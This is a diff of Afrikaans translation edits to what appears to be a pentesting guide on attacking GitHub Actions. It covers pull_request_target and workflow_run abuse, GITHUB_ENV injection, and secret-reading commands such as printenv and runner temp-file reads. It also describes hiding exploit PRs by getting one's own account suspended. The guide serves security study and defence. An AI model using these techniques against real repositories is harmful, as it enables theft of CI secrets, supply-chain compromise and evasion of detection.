> [!NOTE]
-> Aangesien die **standaard beperking** vir **eerste keer** bydraers is, kan jy **bydra tot die regstelling van 'n geldige fout/typo** en dan **ander PRs stuur om jou nuwe `pull_request` voorregte te misbruik**.
+> Aangesien die **standaard beperking** vir **eerste keer** bydraers is, kan jy bydrae **deur 'n geldige fout/typo te herstel** en dan **ander PRs stuur om jou nuwe `pull_request` voorregte te misbruik**.
>
-> **Ek het dit getoets en dit werk nie**: ~~‘n Ander opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~
+> **Ek het dit getoets en dit werk nie**: ~~Nog 'n opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~
-Boonop **verhoed dit standaard skryfrechten** en **toegang tot geheime** tot die teikengebruikersrepo soos genoem in die [**dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Boonop **voorkom dit standaard skryfrechten** en **toegang tot geheime** tot die teikrepository soos genoem in die [**dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
-> Met die uitsondering van `GITHUB_TOKEN`, **word geheime nie aan die hardloper oorgedra** wanneer 'n werksvloei van 'n **forked** repository geaktiveer word nie. Die **`GITHUB_TOKEN` het slegs leesregte** in pull requests **van forked repositories**.
+> Met die uitsondering van `GITHUB_TOKEN`, **word geheime nie aan die hardeware oorgedra** wanneer 'n werksvloei geaktiveer word vanaf 'n **forked** repository. Die **`GITHUB_TOKEN` het lees-slegs regte** in pull requests **van forked repositories**.
'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre aksies by te voeg. Hy sal egter nie in staat wees om geheime te steel of die repo te oorskryf nie weens die genoem beperkings.
> [!CAUTION]
-> **Ja, as die aanvaller die github action in die PR verander wat geaktiveer sal word, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!**
+> **Ja, as die aanvaller in die PR die github action wat geaktiveer sal word, verander, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!**
Aangesien die aanvaller ook die kode wat uitgevoer word, beheer, selfs al is daar geen geheime of skryfrechten op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **kwaadaardige artefakte oplaai**.
### **`pull_request_target`**
-Die werksvloei-trigger **`pull_request_target`** het **skryfrechten** tot die teikengebruikersrepo en **toegang tot geheime** (en vra nie vir toestemming nie).
+Die werksvloei-trigger **`pull_request_target`** het **skryfrechten** tot die teikrepository en **toegang tot geheime** (en vra nie vir toestemming nie).
Let daarop dat die werksvloei-trigger **`pull_request_target`** **in die basis konteks** loop en nie in die een gegee deur die PR nie (om **nie onbetroubare kode uit te voer**). Vir meer inligting oor `pull_request_target` [**kyk die dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk hierdie [**github blog pos**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
@@ -207,9 +207,9 @@ En hierdie een sal **toegang tot geheime** hê.
### `workflow_run`
-Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n werksvloei van 'n ander een uit te voer wanneer dit `voltooi`, `gevraag` of `in_progress` is.
+Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n werksvloei van 'n ander een te laat loop wanneer dit `voltooi`, `gevraag` of `in_progress` is.
-In hierdie voorbeeld is 'n werksvloei geconfigureer om uit te voer nadat die aparte "Toets Hardloop" werksvloei voltooi is:
+In hierdie voorbeeld is 'n werksvloei geconfigureer om te loop nadat die aparte "Toets Loop" werksvloei voltooi is:
```yaml
on:
workflow_run:
@@ -217,9 +217,9 @@ workflows: [Run Tests]
types:
- completed
```
-Moreover, according to the docs: Die werksvloei wat deur die `workflow_run` gebeurtenis begin is, kan **toegang tot geheime hê en tokens skryf, selfs al was die vorige werksvloei nie**.
+Boonop, volgens die dokumentasie: Die werksvloei wat deur die `workflow_run` gebeurtenis begin is, kan **toegang tot geheime hê en tokens skryf, selfs al was die vorige werksvloei nie**.
-Hierdie tipe werksvloei kan aangeval word as dit **afhang** van 'n **werksvloei** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** geaktiveer kan word. 'n Paar kwesbare voorbeelde kan [**hierdie blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gevind word.** Die eerste een bestaan uit die **`workflow_run`** geaktiveerde werksvloei wat die aanvallerskode aflaai: `${{ github.event.pull_request.head.sha }}`\
+Hierdie tipe werksvloei kan aangeval word as dit **afhang** van 'n **werksvloei** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** geaktiveer kan word. 'n Paar kwesbare voorbeelde kan [**in hierdie blog gevind word**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die **`workflow_run`** geaktiveerde werksvloei wat die aanvaller se kode aflaai: `${{ github.event.pull_request.head.sha }}`\
Die tweede een bestaan uit **die oordrag** van 'n **artefak** van die **onbetroubare** kode na die **`workflow_run`** werksvloei en die gebruik van die inhoud van hierdie artefak op 'n manier wat dit **kwesbaar maak vir RCE**.
### `workflow_call`
@@ -230,18 +230,18 @@ TODO: Kontroleer of wanneer dit vanaf 'n pull_request uitgevoer word, die gebrui
## Misbruik van Geforkte Uitvoering
-Ons het al die maniere genoem hoe 'n eksterne aanvaller 'n github werksvloei kan laat uitvoer, kom ons kyk nou na hoe hierdie uitvoerings, as dit sleg geconfigureer is, misbruik kan word:
+Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github werksvloei kan laat uitvoer, kom ons kyk nou na hoe hierdie uitvoerings, as dit sleg geconfigureer is, misbruik kan word:
### Onbetroubare checkout uitvoering
-In die geval van **`pull_request`,** sal die werksvloei in die **konsep van die PR** uitgevoer word (so dit sal die **kwesbare PR se kode** uitvoer), maar iemand moet dit **eers goedkeur** en dit sal met 'n paar [beperkings](./#pull_request) loop.
+In die geval van **`pull_request`,** sal die werksvloei in die **konteks van die PR** uitgevoer word (so dit sal die **kwaadaardige PR se kode** uitvoer), maar iemand moet dit **eers goedkeur** en dit sal met 'n paar [beperkings](./#pull_request) loop.
In die geval van 'n werksvloei wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n werksvloei wat vanaf **`pull_request_target` of `pull_request`** geaktiveer kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**.
> [!CAUTION]
-> egter, as die **aksie** 'n **duidelike PR checkout** het wat **die kode van die PR** sal **kry** (en nie van die basis nie), sal dit die aanvallers beheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR kode afgelaai word):
+> egter, as die **aksie** 'n **duidelike PR checkout** het wat **die kode van die PR** (en nie van die basis nie) sal **kry**, sal dit die aanvaller se beheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR kode afgelaai word):
-
# ONVEILIG. Slegs as 'n voorbeeld verskaf.
+
# ONVEILIG. Verskaf net as 'n voorbeeld.
on:
pull_request_target
@@ -272,7 +272,7 @@ Dankie!
Die potensieel **onbetroubare kode word tydens `npm install` of `npm build`** uitgevoer aangesien die bou skripte en verwysde **pakkette deur die outeur van die PR** beheer word.
> [!WARNING]
-> 'n github dork om vir kwesbare aksies te soek is: `event.pull_request pull_request_target extension:yml` egter, daar is verskillende maniere om die werksgeleenthede te konfigureer om veilig uitgevoer te word selfs al is die aksie onveilig geconfigureer (soos om voorwaardes te gebruik oor wie die akteur is wat die PR genereer).
+> 'n github dork om vir kwesbare aksies te soek is: `event.pull_request pull_request_target extension:yml` egter, daar is verskillende maniere om die werksvloei veilig uit te voer selfs al is die aksie onveilig geconfigureer (soos om voorwaardes te gebruik oor wie die akteur is wat die PR genereer).
### Konteks Skrip Injekties
@@ -282,13 +282,13 @@ Let daarop dat daar sekere [**github kontekste**](https://docs.github.com/en/act
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Skrip Injekie**
+### **GITHUB_ENV Skrip Injektion**
Volgens die dokumentasie: Jy kan 'n **omgewing veranderlike beskikbaar maak vir enige daaropvolgende stappe** in 'n werksvloei taak deur die omgewing veranderlike te definieer of op te dateer en dit na die **`GITHUB_ENV`** omgewing lêer te skryf.
-As 'n aanvaller **enige waarde** binne hierdie **env** veranderlike kan **injekteer**, kan hy env veranderlikes injekteer wat kode in daaropvolgende stappe kan uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
+As 'n aanvaller **enige waarde** binne hierdie **env** veranderlike kan **injekteer**, kan hy env veranderlikes inplant wat kode in daaropvolgende stappe kan uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
-Byvoorbeeld ([**hierdie**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**hierdie**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou voor 'n werksvloei wat 'n geupload artefak vertrou om sy inhoud binne die **`GITHUB_ENV`** env veranderlike te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
+Byvoorbeeld ([**hierdie**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**hierdie**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou voor 'n werksvloei wat 'n geuploade artefak vertrou om sy inhoud binne die **`GITHUB_ENV`** env veranderlike te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
@@ -349,7 +349,7 @@ As 'n rekening sy naam verander, kan 'n ander gebruiker 'n rekening met daardie
> [!CAUTION]
> So as 'n aksie 'n repo van 'n nie-bestaande rekening gebruik, is dit steeds moontlik dat 'n aanvaller daardie rekening kan skep en die aksie kan kompromitteer.
-As ander repositories **afhangklikhede van hierdie gebruiker repos** gebruik, sal 'n aanvaller in staat wees om hulle te hijack. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+As ander repositories **afhang van hierdie gebruiker se repos**, sal 'n aanvaller in staat wees om hulle te kap. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
@@ -360,7 +360,7 @@ As ander repositories **afhangklikhede van hierdie gebruiker repos** gebruik, sa
### Cache Poisoning
-'n Cache word tussen **workflow-uitvoerings in dieselfde tak** gehandhaaf. Dit beteken dat as 'n aanvaller **kompromitteer** 'n **pakket** wat dan in die cache gestoor word en **afgelaai** en uitgevoer word deur 'n **meer bevoorregte** workflow, hy ook daardie workflow sal kan **kompromitteer**.
+'n Cache word tussen **workflow-runs in dieselfde tak** gehandhaaf. Dit beteken dat as 'n aanvaller **kompromitteer** 'n **pakket** wat dan in die cache gestoor word en **afgelaai** en uitgevoer word deur 'n **meer bevoorregte** workflow, hy ook daardie workflow sal kan **kompromitteer**.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -392,13 +392,13 @@ Kyk na die volgende bladsye:
### Toegang tot geheime
-As jy inhoud in 'n skrif inspuit, is dit interessant om te weet hoe jy toegang tot geheime kan kry:
+As jy inhoud in 'n skrip inspuit, is dit interessant om te weet hoe jy toegang tot geheime kan kry:
- As die geheim of token op 'n **omgewing veranderlike** gestel is, kan dit direk deur die omgewing met **`printenv`** aangespreek word.
-Lys geheime in Github Action-uitvoer
+Lys geheime in Github Action-uitset
```yaml
name: list_env
on:
@@ -456,7 +456,7 @@ cat /home/runner/work/_temp/*
- ```bash
ps axe | grep node
```
-- Vir 'n **aangepaste aksie** kan die risiko verskil, afhangende van hoe 'n program die geheim wat dit van die **argument** verkry het, gebruik:
+- Vir 'n **aangepaste aksie** kan die risiko wissel, afhangende van hoe 'n program die geheim wat dit van die **argument** verkry het, gebruik:
```yaml
uses: fakeaction/publish@v3
@@ -468,7 +468,7 @@ key: ${{ secrets.PUBLISH_KEY }}
Die manier om te vind watter **Github Actions in nie-github infrastruktuur** uitgevoer word, is om te soek na **`runs-on: self-hosted`** in die Github Action konfigurasie yaml.
-**Self-gehoste** lopers mag toegang hê tot **ekstra sensitiewe inligting**, na ander **netwerkstelsels** (kwetsbare eindpunte in die netwerk? metadata diens?) of, selfs al is dit geïsoleer en vernietig, kan **meer as een aksie gelyktydig uitgevoer word** en die kwaadwillige een kan die **geheime** van die ander steel.
+**Self-gehoste** lopers mag toegang hê tot **ekstra sensitiewe inligting**, na ander **netwerkstelsels** (kwesbare eindpunte in die netwerk? metadata diens?) of, selfs al is dit geïsoleer en vernietig, kan **meer as een aksie gelyktydig uitgevoer word** en die kwaadwillige een kan die **geheime** van die ander steel.
In self-gehoste lopers is dit ook moontlik om die **geheime van die \_Runner.Listener**\_\*\* proses\*\* te verkry wat al die geheime van die werksvloei op enige stap sal bevat deur sy geheue te dump:
```bash
@@ -515,14 +515,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
-Soos jy in die vorige kode kon sien, is die Github registrasie gehos in **`ghcr.io`**.
+Soos wat jy in die vorige kode kon sien, is die Github registrasie gehost in **`ghcr.io`**.
'n Gebruiker met leesregte oor die repo sal dan in staat wees om die Docker Image af te laai met 'n persoonlike toegangsteken:
```bash
echo $gh_token | docker login ghcr.io -u --password-stdin
docker pull ghcr.io//:
```
-Then, the user could search for **leaked secrets in the Docker image layers:**
+Dan kan die gebruiker **gelekte geheime in die Docker beeld lae soek:**
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -530,13 +530,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### Sensitiewe inligting in Github Actions logs
-Selfs al probeer **Github** om **geheime waardes** in die aksies logs te **detecteer** en **te vermy om** hulle te wys, sal **ander sensitiewe data** wat in die uitvoering van die aksie gegenereer kon gewees het, nie versteek wees nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie versteek wees nie tensy dit [spesifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
+Selfs al probeer **Github** om **geheime waardes** in die aksies logs te **ontdek** en **te vermy om** hulle te wys, sal **ander sensitiewe data** wat in die uitvoering van die aksie gegenereer kon gewees het nie versteek wees nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie versteek wees nie tensy dit [spesifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
## Bedek jou Spore
-(Techniek van [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word, is duidelik sigbaar vir die publiek in Github en vir die teiken GitHub rekening. In GitHub kan ons **nie 'n PR van die internet verwyder** nie, maar daar is 'n draai. Vir GitHub rekeninge wat **gesuspend** is deur Github, word al hul **PRs outomaties verwyder** en van die internet verwyder. So om jou aktiwiteit te verberg, moet jy jou **GitHub rekening gesuspend kry of jou rekening geflag** kry. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou eksploit PR verwyder)
+(Tegniek van [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word, is duidelik sigbaar vir die publiek in Github en vir die teiken GitHub rekening. In GitHub kan ons **nie 'n PR van die internet verwyder** nie, maar daar is 'n draai. Vir GitHub rekeninge wat deur Github **gesuspend** is, word al hul **PRs outomaties verwyder** en van die internet verwyder. So om jou aktiwiteit te verberg, moet jy jou **GitHub rekening gesuspendeer kry of jou rekening geflag** kry. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou eksploit PR verwyder)
-'n Organisasie in GitHub is baie proaktief in die verslagdoening van rekeninge aan GitHub. Al wat jy moet doen is om “n paar goed” in 'n Issue te deel en hulle sal seker maak jou rekening word binne 12 uur gesuspend :p en daar het jy, jou eksploit onsigbaar gemaak op github.
+'n Organisasie in GitHub is baie proaktief in die verslagdoening van rekeninge aan GitHub. Alles wat jy moet doen, is om "iets" in 'n Issue te deel en hulle sal seker maak jou rekening word binne 12 uur gesuspend :p en daar het jy, jou eksploit onsigbaar gemaak op github.
> [!WARNING]
> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM te kontroleer, aangesien die PR van die GitHub UI verwyder sal word.
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
index f77c0d2d3..9d6b2e389 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md
@@ -1 +1 @@
-# GH Actions - Cache Poisoning
+# GH Actions - Cache Besmetting
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
index 9cef507bc..6e296e6be 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md
@@ -1 +1 @@
-# Gh Actions - Context Script Injections
+# Gh Actions - Konteks Skrip Inspuitings
diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
index 83ab208ec..84d2d2230 100644
--- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
+++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md
@@ -1,10 +1,10 @@
-# Toeganklike Verwyderde Gegewens in Github
+# Toeganklike Verwyderde Data in Github
{{#include ../../banners/hacktricks-training.md}}
-Hierdie maniere om toegang te verkry tot data van Github wat veronderstel is om verwyder te wees, is [**in hierdie blogpos gerapporteer**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
+Hierdie maniere om data van Github te verkry wat veronderstel was om verwyder te wees, is [**in hierdie blogpos gerapporteer**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
-## Toegang tot Verwyderde Fork Gegewens
+## Toegang tot Verwyderde Fork Data
1. Jy fork 'n openbare repository
2. Jy commit kode na jou fork
@@ -13,7 +13,7 @@ Hierdie maniere om toegang te verkry tot data van Github wat veronderstel is om
> [!CAUTION]
> Die data wat in die verwyderde fork gecommit is, is steeds toeganklik.
-## Toegang tot Verwyderde Repo Gegewens
+## Toegang tot Verwyderde Repo Data
1. Jy het 'n openbare repo op GitHub.
2. 'n Gebruiker fork jou repo.
@@ -23,14 +23,14 @@ Hierdie maniere om toegang te verkry tot data van Github wat veronderstel is om
> [!CAUTION]
> Selfs al het jy jou repo verwyder, is al die veranderinge wat aan dit gemaak is steeds toeganklik deur die forks.
-## Toegang tot Privaat Repo Gegewens
+## Toegang tot Privaat Repo Data
1. Jy skep 'n privaat repo wat uiteindelik openbaar gemaak sal word.
2. Jy skep 'n privaat, interne weergawe van daardie repo (deur te fork) en commit addisionele kode vir funksies wat jy nie openbaar gaan maak nie.
3. Jy maak jou “upstream” repository openbaar en hou jou fork privaat.
> [!CAUTION]
-> Dit is moontlik om al die data wat na die interne fork gepush is, te bekom in die tyd tussen die interne fork geskep is en die openbare weergawe openbaar gemaak is.
+> Dit is moontlik om al die data wat na die interne fork gepush is, te verkry in die tyd tussen die interne fork geskep is en die openbare weergawe openbaar gemaak is.
## Hoe om commits van verwyderde/verborgene forks te ontdek
@@ -38,7 +38,7 @@ Die dieselfde blogpos stel 2 opsies voor:
### Direk toegang tot die commit
-As die commit ID (sha-1) waarde bekend is, is dit moontlik om dit te bekom in `https://github.com///commit/`
+As die commit ID (sha-1) waarde bekend is, is dit moontlik om dit te verkry in `https://github.com///commit/`
### Brute-forcing kort SHA-1 waardes
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index bdf943045..c9abd72af 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -4,7 +4,7 @@
## Basiese Struktuur
-Die basiese github omgewingstruktuur van 'n groot **maatskappy** is om 'n **onderneming** te besit wat **verskeie organisasies** besit en elkeen van hulle kan **verskeie repositories** en **verskeie span** bevat. Klein maatskappye mag net **een organisasie en geen ondernemings** besit nie.
+Die basiese github omgewingstruktuur van 'n groot **maatskappy** is om 'n **onderneming** te besit wat **verskeie organisasies** besit en elkeen van hulle kan **verskeie repositories** en **verskeie span** bevat. Klein maatskappye mag net **een organisasie en geen ondernemings** besit.
Vanuit 'n gebruiker se perspektief kan 'n **gebruiker** 'n **lid** van **verskillende ondernemings en organisasies** wees. Binne hulle kan die gebruiker **verskillende onderneming, organisasie en repository rolle** hê.
@@ -16,7 +16,7 @@ En uiteindelik kan **repositories spesiale beskermingsmeganismes** hê.
### Onderneming Rolle
-- **Ondernemingseienaar**: Mense met hierdie rol kan **administrateurs bestuur, organisasies binne die onderneming bestuur, onderneminginstellings bestuur, beleid afdwing oor organisasies**. Hulle **kan egter nie toegang tot organisasie-instellings of inhoud** verkry tensy hulle 'n organisasie-eienaar gemaak word of direkte toegang tot 'n organisasie-besit repository gegee word nie.
+- **Ondernemingseienaar**: Mense met hierdie rol kan **administrateurs bestuur, organisasies binne die onderneming bestuur, onderneminginstellings bestuur, beleid afdwing oor organisasies**. Hulle **kan egter nie toegang tot organisasie-instellings of inhoud** verkry tensy hulle 'n organisasie-eienaar gemaak word of direkte toegang tot 'n organisasie-besit repository gegee word.
- **Ondernemingslede**: Lede van organisasies wat deur jou onderneming besit word, is ook **outomaties lede van die onderneming**.
### Organisasie Rolle
@@ -29,7 +29,7 @@ In 'n organisasie kan gebruikers verskillende rolle hê:
- **Sekuriteitsbestuurders**: Dit is 'n rol wat organisasie-eienaars aan enige span in 'n organisasie kan toewys. Wanneer toegepas, gee dit elke lid van die span toestemming om **sekuriteitswaarskuwings en instellings oor jou organisasie te bestuur, sowel as leestoestemmings vir alle repositories** in die organisasie.
- As jou organisasie 'n sekuriteitspan het, kan jy die sekuriteitsbestuurderrol gebruik om lede van die span die minste toegang te gee wat hulle nodig het tot die organisasie.
- **Github App bestuurders**: Om addisionele gebruikers toe te laat om **GitHub Apps wat deur 'n organisasie besit word te bestuur**, kan 'n eienaar hulle GitHub App bestuurder toestemmings gee.
-- **Buite samewerkers**: 'n Buite samewerker is 'n persoon wat **toegang het tot een of meer organisasie repositories maar nie eksplisiet 'n lid** van die organisasie is nie.
+- **Buitelandse samewerkers**: 'n Buitelandse samewerker is 'n persoon wat **toegang het tot een of meer organisasie repositories maar nie eksplisiet 'n lid** van die organisasie is.
Jy kan **die toestemmings** van hierdie rolle in hierdie tabel vergelyk: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
@@ -42,7 +42,7 @@ Die instellings hier geconfigureer sal die volgende toestemmings van lede van di
- Wees admin, skrywer, leser of geen toestemming oor al die organisasie repos.
- Of lede privaat, interne of openbare repositories kan skep.
- Of fork van repositories moontlik is.
-- Of dit moontlik is om buite samewerkers uit te nooi.
+- Of dit moontlik is om buitelandse samewerkers uit te nooi.
- Of openbare of private webwerwe gepubliseer kan word.
- Die toestemmings wat administrateurs oor die repositories het.
- Of lede nuwe spanne kan skep.
@@ -63,7 +63,7 @@ Jy kan ook **jou eie rolle skep** in _https://github.com/organizations/\/teams_. Let daarop dat jy toegang tot die spanne wat kinders van ander spanne is, moet hê deur elke ouer span te benader.
+Jy kan **die spanne wat in 'n organisasie geskep is lys** in _https://github.com/orgs/\/teams_. Let daarop dat jy om die spanne wat kinders van ander spanne is te sien, elke ouer span moet toegang.
### Gebruikers
@@ -77,7 +77,7 @@ Github bied verskillende maniere om jou rekening te verifieer en aksies namens j
### Webtoegang
-Deur **github.com** te benader, kan jy aanmeld met jou **gebruikersnaam en wagwoord** (en 'n **2FA moontlik**).
+Deur **github.com** te benader kan jy aanmeld met jou **gebruikersnaam en wagwoord** (en 'n **2FA moontlik**).
### **SSH Sleutels**
@@ -89,7 +89,7 @@ Jy **kan nie die gebruiker met hierdie sleutels naboots nie**, maar as jy dit ni
### **Persoonlike Toegangstokens**
-Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer jy 'n persoonlike toegangstoken skep, moet die **gebruiker** die **toestemmings** spesifiseer wat die **token** sal hê. [https://github.com/settings/tokens](https://github.com/settings/tokens)
+Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer 'n persoonlike toegangstoken geskep word, moet die **gebruiker** die **toestemmings** spesifiseer wat die **token** sal hê. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Toepassings
@@ -105,12 +105,12 @@ Sommige **sekuriteitsaanbevelings**:
- 'n **OAuth App** moet altyd **optree as die geverifieerde GitHub gebruiker oor die hele GitHub** (byvoorbeeld, wanneer gebruikerskennisgewings verskaf word) en met toegang slegs tot die gespesifiseerde skoppe.
- 'n OAuth App kan as 'n identiteitsverskaffer gebruik word deur 'n "Aanmeld met GitHub" vir die geverifieerde gebruiker in te skakel.
- **Moet nie** 'n **OAuth App** bou as jy wil hê jou toepassing moet op 'n **enkele repository** optree nie. Met die `repo` OAuth skop, kan OAuth Apps **optree op \_alle**\_\*\* van die geverifieerde gebruiker se repositories\*\*.
-- **Moet nie** 'n OAuth App bou om as 'n toepassing vir jou **span of maatskappy** op te tree nie. OAuth Apps verifieer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep om te gebruik, en dan verlaat hulle die maatskappy, sal niemand anders toegang daartoe hê nie.
+- **Moet nie** 'n OAuth App bou om as 'n toepassing vir jou **span of maatskappy** op te tree nie. OAuth Apps verifieer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep om te gebruik, en dan die maatskappy verlaat, sal niemand anders toegang hê nie.
- **Meer** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Toepassings
-Github toepassings kan om toestemmings vra om **toegang tot jou github inligting te verkry of om jou na te boots** om spesifieke aksies oor spesifieke hulpbronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê.
+Github toepassings kan om toestemmings te vra om **toegang tot jou github inligting of om jou na te boots** om spesifieke aksies oor spesifieke hulpbronne uit te voer. In Github Apps moet jy die repositories spesifiseer waartoe die app toegang sal hê.
- Om 'n GitHub App te installeer, moet jy 'n **organisasie-eienaar wees of admin toestemmings** in 'n repository hê.
- Die GitHub App moet **verbinde met 'n persoonlike rekening of 'n organisasie**.
@@ -122,17 +122,17 @@ Github toepassings kan om toestemmings vra om **toegang tot jou github inligting
Sommige sekuriteitsaanbevelings:
- 'n GitHub App moet **aksies onafhanklik van 'n gebruiker neem** (tenzij die app 'n [gebruiker-naar-bediener](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token gebruik). Om gebruiker-naar-bediener toegangstokens veiliger te hou, kan jy toegangstokens gebruik wat na 8 uur verval, en 'n verfrissingstoken wat vir 'n nuwe toegangstoken omgeruil kan word. Vir meer inligting, sien "[Verfrissing van gebruiker-naar-bediener toegangstokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Maak seker dat die GitHub App integreer met **spesifieke repositories**.
+- Maak seker die GitHub App integreer met **spesifieke repositories**.
- Die GitHub App moet **verbinde met 'n persoonlike rekening of 'n organisasie**.
- Moet nie verwag dat die GitHub App alles weet en doen wat 'n gebruiker kan nie.
-- **Moet nie 'n GitHub App gebruik as jy net 'n "Aanmeld met GitHub" diens nodig het nie**. Maar 'n GitHub App kan 'n [gebruiker identifikasievloei](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers in te teken _en_ ander dinge te doen.
-- Moet nie 'n GitHub App bou as jy _net_ wil optree as 'n GitHub gebruiker en alles wil doen wat daardie gebruiker kan doen nie.
-- As jy jou app met GitHub Actions gebruik en workflow lêers wil wysig, moet jy namens die gebruiker verifieer met 'n OAuth token wat die `workflow` skop insluit. Die gebruiker moet admin of skryftoestemming hê tot die repository wat die workflow lêer bevat. Vir meer inligting, sien "[Begrip van skoppe vir OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Moet nie 'n GitHub App gebruik as jy net 'n "Aanmeld met GitHub" diens nodig het nie**. Maar 'n GitHub App kan 'n [gebruiker identifikasievloei](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers in te log en ander dinge te doen.
+- Moet nie 'n GitHub App bou as jy _net_ wil optree as 'n GitHub gebruiker en alles doen wat daardie gebruiker kan doen nie.
